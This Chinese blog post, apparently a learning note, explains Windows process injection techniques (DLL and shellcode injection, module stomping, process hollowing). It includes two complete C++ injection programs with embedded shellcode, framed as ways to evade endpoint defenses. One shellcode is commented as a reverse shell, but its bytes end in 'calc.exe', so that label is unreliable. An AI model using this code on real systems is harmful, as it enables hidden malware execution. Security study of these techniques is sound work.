进程劫持与注入篇

2024-01-04

1. 前言

看到了篇stomping注入的帖子，想着复现然后总结下知识点来着，结果发现东西越看越多，注入方法多的一。。慢慢来吧。

2. 进程注入

首先，我们需要了解什么是进程注入。进程注入，简而言之就是将代码注入到另一个进程中，shellcode注入和DLL注入都属于进程注入。这两种方式本质上没有区别，在操作系统层面上，dll也就是shellcode的汇编代码。

进程注入的作用是隐藏自身或者利用另一个进程的权限做一些恶意行为，比如病毒等恶意程序注入到一个正常的进程中，从而达到隐藏自身的目的。

2.1 shellcode与DLL注入介绍

注入基本可以分为DLL注入和shellcode注入两种，DLL注入根据注入的时间又可以分为DLL劫持注入与DLL注入两种。

shellcode注入

shellcode注入也就是代码注入，是一种向目标进程插入独立运行代码并使之运行的技术，一般调用CreateRemoteThread() API以远程线程的形式运行插入的代码，亦称为线程注入。

DLL注入

DLL注入是指，在程序运行之前先加载我们编写的DLL文件。

DLL劫持注入

DLL劫持注入是指，假设程序运行时需要加载DLL文件A，那么我们就劫持A，然后把我们编写的DLL文件B假扮成A，让程序加载了B后，再去加载A。

2.2 shellcode与DLL注入区别

shellcode注入（适用于代码量少且简单的情况）

优点：占用内存少、难以查找痕迹、无需另外的DLL文件

缺点：因为内存属于易失性存储器，所以需要目标服务器一直开机

DLL注入（适用于代码量大且复杂的情况）

优点：可以适应更多的复杂操作、功能更为齐全

缺点：会在目标内存留下相关痕迹，易被发现

2.3 Module Stomping注入

Module Stomping（又称为Module Overloading，又称为DLL Hollowing）技术。

工作原理：将一些正常DLL注入到目标进程中，寻找AddressOfEntryPoint(PE文件加载到内存时相对于镜像基址的入口点地址)，并使用shellcode覆盖AddressOfEntryPoint指向的内容，并为该DLL创建一个新线程，并启动该线程。

优点：

不需要申请RWX内存页，或者更改权限。
shellcode是将合法dll进行注入，而不是恶意dll，可以绕过一些主动防御检测的路径。
执行shellcode的远程线程与合法的Windows模块关联，恶意值下降。

缺点：

ReadProcessMeory和writeProcessMemory函数比较敏感。(不过这两个函数在我找到的一个实现代码里并没有出现，编译成exe运行貌似也没调用这两个函数，估计和手法有关)

下面是一段注入代码，这段代码是包含了上面提到的两个敏感函数的代码。

#include <iostream>
#include <Windows.h>
#include <psapi.h>

int main(int argc, char* argv[])
{
	HANDLE processHandle;
	PVOID remoteBuffer;
	wchar_t moduleToInject[] = L"C:\\windows\\system32\\amsi.dll";
	HMODULE modules[256] = {};
	SIZE_T modulesSize = sizeof(modules);
	DWORD modulesSizeNeeded = 0;
	DWORD moduleNameSize = 0;
	SIZE_T modulesCount = 0;
	CHAR remoteModuleName[128] = {};
	HMODULE remoteModule = NULL;

	// simple reverse shell x64
	unsigned char shellcode[] =
		"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
		"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
		"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
		"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
		"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
		"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
		"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
		"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
		"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
		"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
		"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
		"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
		"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
		"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
		"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
		"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
		"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
		"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
		"\x63\x2e\x65\x78\x65\x00";

	// inject a benign DLL into remote process
	processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
	//processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 8444);

	remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof moduleToInject, MEM_COMMIT, PAGE_READWRITE);
	WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)moduleToInject, sizeof moduleToInject, NULL);
	PTHREAD_START_ROUTINE threadRoutine = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
	HANDLE dllThread = CreateRemoteThread(processHandle, NULL, 0, threadRoutine, remoteBuffer, 0, NULL);
	WaitForSingleObject(dllThread, 1000);

	// find base address of the injected benign DLL in remote process
	EnumProcessModules(processHandle, modules, modulesSize, &modulesSizeNeeded);
	modulesCount = modulesSizeNeeded / sizeof(HMODULE);
	for (size_t i = 0; i < modulesCount; i++)
	{
		remoteModule = modules[i];
		GetModuleBaseNameA(processHandle, remoteModule, remoteModuleName, sizeof(remoteModuleName));
		if (std::string(remoteModuleName).compare("amsi.dll") == 0)
		{
			std::cout << remoteModuleName << " at " << modules[i];
			break;
		}
	}

	// get DLL's AddressOfEntryPoint
	DWORD headerBufferSize = 0x1000;
	LPVOID targetProcessHeaderBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, headerBufferSize);
	ReadProcessMemory(processHandle, remoteModule, targetProcessHeaderBuffer, headerBufferSize, NULL);

	PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)targetProcessHeaderBuffer;
	PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)targetProcessHeaderBuffer + dosHeader->e_lfanew);
	LPVOID dllEntryPoint = (LPVOID)(ntHeader->OptionalHeader.AddressOfEntryPoint + (DWORD_PTR)remoteModule);
	std::cout << ", entryPoint at " << dllEntryPoint;

	// write shellcode to DLL's AddressofEntryPoint
	WriteProcessMemory(processHandle, dllEntryPoint, (LPCVOID)shellcode, sizeof(shellcode), NULL);

	// execute shellcode from inside the benign DLL
	CreateRemoteThread(processHandle, NULL, 0, (PTHREAD_START_ROUTINE)dllEntryPoint, NULL, 0, NULL);

	return 0;
}

不过运行时代码会报错，具体原因没搞明白。

不过问题不大，我们还有另外一段代码，是没有用到这两个敏感函数的代码。

#include <iostream>
#include <Windows.h>

#pragma comment(lib,"user32.lib")
#define FunctionName "MessageBoxA"


BOOL WirtePayload(PVOID Address, PBYTE shellcode, SIZE_T shellcodeSize) {
    DWORD dOld = NULL;
    if (!VirtualProtect(Address, shellcodeSize, PAGE_READWRITE, &dOld)) {
        printf("更改失败");
        return FALSE;
    };


    //printf("Address : 0x%p \n", Address);
    //getchar();

    memcpy(Address, shellcode, shellcodeSize);


    //printf("Address : 0x%p \n", Address);
    //getchar();

    if (!VirtualProtect(Address, shellcodeSize, PAGE_EXECUTE_READWRITE, &dOld)) {
        printf("更改失败");
        return FALSE;
    }
    return TRUE;

}

unsigned char shellcode[] = {
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"
};

int main()
{
    PVOID pAddress = NULL;
    HMODULE hmodule = NULL;
    hmodule = LoadLibraryA("user32.dll");
    if (hmodule == NULL) {
        printf("获取模块失败");
        return -1;
    }
    //获取函数地址
    /*pAddress = GetProcAddress(hmodule, FunctionName);
    if (pAddress == NULL) {
      printf("获取函数失败!!!!");
      return -1;
    }*/
    if (!WirtePayload(&MessageBoxA, shellcode, sizeof(shellcode))) {
        printf("写入shellcode失败");
        return -1;
    };
    EnumChildWindows(NULL, (WNDENUMPROC)MessageBoxA, NULL);
}

这段代码采用了功能覆盖的方法，从而避开了VirtualAlloc等函数的使用。功能覆盖是指替换程序中函数或其他数据结构内存的行为。函数覆盖是一种将原始函数的字节替换成新代码的技术，导致函数被替换或不再按照之前的功能进行工作，相反该函数会执行不同的逻辑，所以会消耗掉一个函数的地址。

这里利用的目标函数是MessageBoxA函数，这个函数是从user32.dll中导出的，所以我们首先需要从user32.dll中将函数导出，这里可以使用GetProceAddress和LoadLibraryA函数来进行导出。下一步就是停止该函数并将其替换为shellcode，使用VirtualProtect将其内存区域标记为可读可写，确保我们是可以进行覆盖的。接下来就是将shellcode写入到函数的地址，然后再使用VirtualProtrect将该内存区域更改为可执行的内存。

上面的代码是一个师傅最后优化后的版本，将DLL插入到了二进制文件中，这样就不用使用LoadLibrary来加载DLL文件，不需要使用GetProAddress函数来获取目标函数地址了。具体分析流程可以参考师傅的文章，stomping注入。

2.4 Process Hollowing注入

进程镂空是一种防御规避的进程注入技术，主要思想是卸载合法进程的内存，写入恶意软件的代码，伪装成合法进程进行恶意活动。

执行流程如下：

创建一个挂起的合法进程（CreateProcess）
读取恶意软件的代码（VirtualAlloc）
获取挂起进程上下文与环境信息
卸载挂起进程内存（ZwUnmapViewOfSection/NtUnmapViewOfSection）
写入恶意软件代码（VirtualAllocEx、WriteProcessMemory、SetThreadContext）
恢复挂起进程（ResumeThread）

未完待续，公司要没了，需要先顾及生活了，苦鲁西。。。

x. 参考链接

红队免杀必会-进程注入--注册表-全局钩
https://cloud.tencent.com/developer/article/1967097

代码注入（线程注入）
https://blog.csdn.net/SKI_12/article/details/82947635

DLL注入与DLL劫持注入
https://blog.csdn.net/qq_43082315/article/details/127201781

Module Stomping注入
https://www.cnblogs.com/XLRH/p/17023615.html

十种流程注入技术：常见和趋势流程注入技术的技术调查
https://www.elastic.co/cn/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process

高级进程注入总结
https://bbs.kanxue.com/thread-271554.htm

内存ShellCode注入与格式化
https://cloud.tencent.com/developer/article/2337991

注入—Module Stomping注入
https://www.cnblogs.com/XLRH/p/17023615.html

stomping注入
https://mp.weixin.qq.com/s/FN6M0XFbN7j1sPOI1anO5g

本文作者： foxcookie
发布时间： 2024-01-04
最后更新： 2024-02-22
本文标题： 进程劫持与注入篇
本文链接： https://foxcookie.github.io/2024/01/04/进程劫持与注入篇/
版权声明： 本博客所有文章除特别声明外，均采用 CC BY-NC-SA 4.0 许可协议。转载请注明出处！